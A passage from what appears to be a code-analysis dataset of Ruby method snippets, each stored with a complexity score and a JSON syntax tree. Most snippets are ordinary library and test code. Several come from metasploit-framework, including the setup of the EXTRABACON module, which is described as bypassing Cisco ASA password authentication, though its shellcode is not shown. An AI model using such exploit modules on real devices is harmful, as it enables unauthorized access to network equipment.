end","complexity_score":12.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_introspection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"blah\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_respond_to\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"blah=\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[42]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"method\",{\"type\":\"sym\",\"children\":[\"blah=\"]}]},\"call\",{\"type\":\"int\",\"children\":[42]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[42]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"method\",{\"type\":\"sym\",\"children\":[\"blah\"]}]},\"call\"]}]}]}]}","id":"8b9159be-827f-4881-9a36-ceb57fed9500"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":57,"raw_source":"def enter_file_input(file)\n find_element('input[type=\"file\"]', visible: false).send_keys(file)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enter_file_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"input[type=\\\"file\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"send_keys\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}","id":"0df96050-b295-4a93-a4ea-bfcc85873edb"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_server.rb","start_line":88,"raw_source":"def compatible_firmware_binaries\n FirmwareTarget.find_compatible_with(asset_detail.attributes)&.firmware_binaries || []\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"compatible_firmware_binaries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FirmwareTarget\"]},\"find_compatible_with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asset_detail\"]},\"attributes\"]}]},\"firmware_binaries\"]},{\"type\":\"array\",\"children\":[]}]}]}","id":"f06755bb-dc17-4f74-82db-c18d7dd874eb"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_transform_keys.rb","start_line":84,"raw_source":"def extract_captures(match)\n key_argname, key_body_expr, val_body_expr = *match\n Captures.new(key_argname, key_body_expr, val_body_expr)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_captures\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key_argname\"]},{\"type\":\"lvasgn\",\"children\":[\"key_body_expr\"]},{\"type\":\"lvasgn\",\"children\":[\"val_body_expr\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captures\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"key_argname\"]},{\"type\":\"lvar\",\"children\":[\"key_body_expr\"]},{\"type\":\"lvar\",\"children\":[\"val_body_expr\"]}]}]}]}","id":"6866c927-f8fb-4a94-b2f3-fb3e2ea146fe"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_host_data_service.rb","start_line":20,"raw_source":"def report_host(opts)\n json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS).first\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"report_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_data\",{\"type\":\"const\",\"children\":[null,\"HOST_API_PATH\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"HOST_MDM_CLASS\"]}]},\"first\"]}]}","id":"d04a3c5e-8bad-4159-a789-431dbd20022e"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/chronic_duration.rb","start_line":300,"raw_source":"def convert_to_number(string)\n string.to_f % 1 > 0 ? string.to_f : string.to_i\n end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_number\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"to_f\"]},\"%\",{\"type\":\"int\",\"children\":[1]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"to_f\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"to_i\"]}]}]}","id":"f3cf843a-c64d-4f19-a7df-2d2999dcc489"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/emoji_reactions.rb","start_line":103,"raw_source":"def expect_emoji_reactions_highlited_in_overlay(journal, *emojis)\n open_emoji_reactions_overlay_for_journal(journal) do\n emojis.each do |emoji|\n expect(page).to have_css(\".color-bg-accent\", text: emoji)\n end\n\n yield if block_given?\n end\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_emoji_reactions_highlited_in_overlay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]},{\"type\":\"restarg\",\"children\":[\"emojis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_emoji_reactions_overlay_for_journal\",{\"type\":\"lvar\",\"children\":[\"journal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"emojis\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"emoji\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".color-bg-accent\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"emoji\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]}]}]}]}","id":"6495f29c-3cb0-420b-acb2-6f7fbe902fd9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session/provider/multi_command_execution.rb","start_line":18,"raw_source":"def init_cmd(command, arguments = nil, opts = nil)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"command\"]},{\"type\":\"optarg\",\"children\":[\"arguments\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},null]}","id":"1016696d-dc59-45dc-93e3-b606039a50f7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb","start_line":12,"raw_source":"def initialize\n super(\n 'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)',\n 'Description' => %q{\n This module patches the authentication functions of a Cisco ASA\n to allow uncredentialed logins. Uses improved shellcode for payload.\n },\n 'Author' => [\n 'Sean Dillon <sean.dillon@risksense.com>',\n 'Zachary Harding <zachary.harding@risksense.com>',\n 'Nate Caroe <nate.caroe@risksense.com>',\n 'Dylan Davis <dylan.davis@risksense.com>',\n 'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes\n 'Jeff Jarmoc <jjarmoc>', # minor improvements\n 'Equation Group',\n 'Shadow Brokers'\n ],\n 'References' => [\n [ 'CVE', '2016-6366'],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'],\n [ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'],\n ],\n 'License' => MSF_LICENSE,\n 'Actions' => [\n ['PASS_DISABLE', { 'Description' => 'Disable password authentication.' } ],\n ['PASS_ENABLE', { 'Description' => 'Enable password authentication.' } ]\n ],\n 'DefaultAction' => 'PASS_DISABLE',\n 'Notes' => {\n 'AKA' => ['EXTRABACON'],\n 'Stability' => [],\n 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],\n 'Reliability' => []\n }\n )\n\n @offsets = version_offsets\n\n register_options([\n OptEnum.new('ASAVER', [ false, 'Target ASA version (default autodetect)', 'auto', ['auto'] + @offsets.keys]),\n ])\n\n deregister_options('VERSION')\n datastore['VERSION'] = '2c' # SNMP v. 2c required it seems\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco ASA Authentication Bypass (EXTRABACON)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module patches the authentication functions of a Cisco ASA\\n\"]},{\"type\":\"str\",\"children\":[\" to allow uncredentialed logins. Uses improved shellcode for payload.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Sean Dillon <sean.dillon@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"Zachary Harding <zachary.harding@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"Nate Caroe <nate.caroe@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"Dylan Davis <dylan.davis@risksense.com>\"]},{\"type\":\"str\",\"children\":[\"William Webb <william_webb[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"Jeff Jarmoc <jjarmoc>\"]},{\"type\":\"str\",\"children\":[\"Equation Group\"]},{\"type\":\"str\",\"children\":[\"Shadow Brokers\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-6366\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/RiskSense-Ops/CVE-2016-6366\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PASS_DISABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Disable password authentication.\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PASS_ENABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Enable password authentication.\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultAction\"]},{\"type\":\"str\",\"children\":[\"PASS_DISABLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EXTRABACON\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@offsets\",{\"type\":\"send\",\"children\":[null,\"version_offsets\"]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"ASAVER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Target ASA version (default autodetect)\"]},{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@offsets\"]},\"keys\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"VERSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"str\",\"children\":[\"2c\"]}]}]}]}","id":"d6d3211c-cba0-4c2c-b76d-1f3a538c9fbd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/service_desk_handler.rb","start_line":166,"raw_source":"def send_thank_you_email\n Notify.service_desk_thank_you_email(@issue.id).deliver_later\n Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_thank_you_email)\n end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"send_thank_you_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"service_desk_thank_you_email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"id\"]}]},\"deliver_later\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"BackgroundTransaction\"]},\"current\"]},\"add_event\",{\"type\":\"sym\",\"children\":[\"service_desk_thank_you_email\"]}]}]}]}","id":"d6181280-af12-481b-9e9a-be7c3c8e6989"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/locking_test.rb","start_line":905,"raw_source":"def test_with_lock_when_not_preventing_writes\n person = Person.last!\n assert_nothing_raised do\n person.with_lock do\n end\n end\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_lock_when_not_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"person\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"last!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},\"with_lock\"]},{\"type\":\"args\",\"children\":[]},null]}]}]}]}","id":"76f74c57-ce5b-4fc4-af15-b4c0037851d6"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/helper/dotenv_helper.rb","start_line":5,"raw_source":"def self.load_dot_env(env_cl_param)\n base_path = find_dotenv_directory\n\n return unless base_path\n\n load_dot_envs_from(env_cl_param, base_path)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_dot_env\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env_cl_param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_path\",{\"type\":\"send\",\"children\":[null,\"find_dotenv_directory\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"load_dot_envs_from\",{\"type\":\"lvar\",\"children\":[\"env_cl_param\"]},{\"type\":\"lvar\",\"children\":[\"base_path\"]}]}]}]}","id":"0b4a34fd-46e0-4836-b711-9e108e55b570"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_channel.rb","start_line":41,"raw_source":"def click_composer\n if has_no_css?(\".dialog-overlay\", wait: 0) # we can't click composer if a dialog is open, in case of error for exampel\n find(\".chat-channel .chat-composer__input\").click # ensures autocomplete is closed and not masking anything\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"click_composer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_no_css?\",{\"type\":\"str\",\"children\":[\".dialog-overlay\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".chat-channel .chat-composer__input\"]}]},\"click\"]},null]}]}","id":"30043c38-82db-4615-b9b6-ffb4ca5dba4c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/dcerpc/kerberos_authentication.rb","start_line":84,"raw_source":"def auth_provider_complete_handshake(response, options)\n begin\n @kerberos_authenticator.validate_response!(response.auth_value, accept_incomplete: true)\n gss_api = OpenSSL::ASN1.decode(response.auth_value)\n security_blob = ::RubySMB::Gss.asn1dig(gss_api, 0, 2, 0)&.value\n ap_rep = Rex::Proto::Kerberos::Model::ApRep.decode(security_blob)\n ap_rep_enc_part = ap_rep.decrypt_enc_part(@session_key.value)\n rescue ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError,\n ::Rex::Proto::Kerberos::Model::Error::KerberosError,\n OpenSSL::ASN1::ASN1Error => e\n raise RubySMB::Dcerpc::Error::BindError, e.message # raise the more context-specific BindError\n end\n server_sequence_number = ap_rep_enc_part.sequence_number\n # Now complete the handshake - see [MS-KILE] 3.4.5.1 - https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/190ab8de-dc42-49cf-bf1b-ea5705b7a087\n response_ap_rep = build_ap_rep(@session_key, server_sequence_number)\n\n wrapped_ap_rep = OpenSSL::ASN1::ASN1Data.new([\n OpenSSL::ASN1::Sequence.new([\n OpenSSL::ASN1::ASN1Data.new([\n OpenSSL::ASN1::OctetString(response_ap_rep.encode)\n ], 2, :CONTEXT_SPECIFIC)\n ])\n ], 1, :CONTEXT_SPECIFIC).to_der\n\n alter_ctx = RubySMB::Dcerpc::AlterContext.new(options)\n alter_ctx.pdu_header.call_id = @call_id\n\n add_auth_verifier(alter_ctx, wrapped_ap_rep)\n\n send_packet(alter_ctx)\n\n begin\n dcerpc_response = recv_struct(RubySMB::Dcerpc::AlterContextResp)\n rescue RubySMB::Dcerpc::Error::InvalidPacket\n raise RubySMB::Dcerpc::Error::BindError, e.message # raise the more context-specific BindError\n end\n\n self.krb_encryptor = @kerberos_authenticator.get_message_encryptor(ap_rep_enc_part.subkey,\n @client_sequence_number,\n server_sequence_number,\n rc4_pad_style: :eight_byte_aligned)\n\n # Set the session key value on the parent class - needed for decrypting attribute values in e.g. DRSR\n @session_key = ap_rep_enc_part.subkey.value\n end","complexity_score":54.23,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_provider_complete_handshake\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@kerberos_authenticator\"]},\"validate_response!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"auth_value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"accept_incomplete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gss_api\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"decode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"auth_value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"security_blob\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RubySMB\"]},\"Gss\"]},\"asn1dig\",{\"type\":\"lvar\",\"children\":[\"gss_api\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[0]}]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ap_rep\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"ApRep\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"security_blob\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ap_rep_enc_part\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ap_rep\"]},\"decrypt_enc_part\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session_key\"]},\"value\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dcerpc\"]},\"Error\"]},\"BindError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"server_sequence_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ap_rep_enc_part\"]},\"sequence_number\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response_ap_rep\",{\"type\":\"send\",\"children\":[null,\"build_ap_rep\",{\"type\":\"ivar\",\"children\":[\"@session_key\"]},{\"type\":\"lvar\",\"children\":[\"server_sequence_number\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wrapped_ap_rep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Sequence\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Data\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"OctetString\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response_ap_rep\"]},\"encode\"]}]}]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]}]}]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"sym\",\"children\":[\"CONTEXT_SPECIFIC\"]}]},\"to_der\"]}]},{\"type\":\"lvasgn\",\"children\":[\"alter_ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dcerpc\"]},\"AlterContext\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alter_ctx\"]},\"pdu_header\"]},\"call_id=\",{\"type\":\"ivar\",\"children\":[\"@call_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_auth_verifier\",{\"type\":\"lvar\",\"children\":[\"alter_ctx\"]},{\"type\":\"lvar\",\"children\":[\"wrapped_ap_rep\"]}]},{\"type\":\"send\",\"children\":[null,\"send_packet\",{\"type\":\"lvar\",\"children\":[\"alter_ctx\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dcerpc_response\",{\"type\":\"send\",\"children\":[null,\"recv_struct\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dcerpc\"]},\"AlterContextResp\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dcerpc\"]},\"Error\"]},\"InvalidPacket\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Dcerpc\"]},\"Error\"]},\"BindError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"krb_encryptor=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\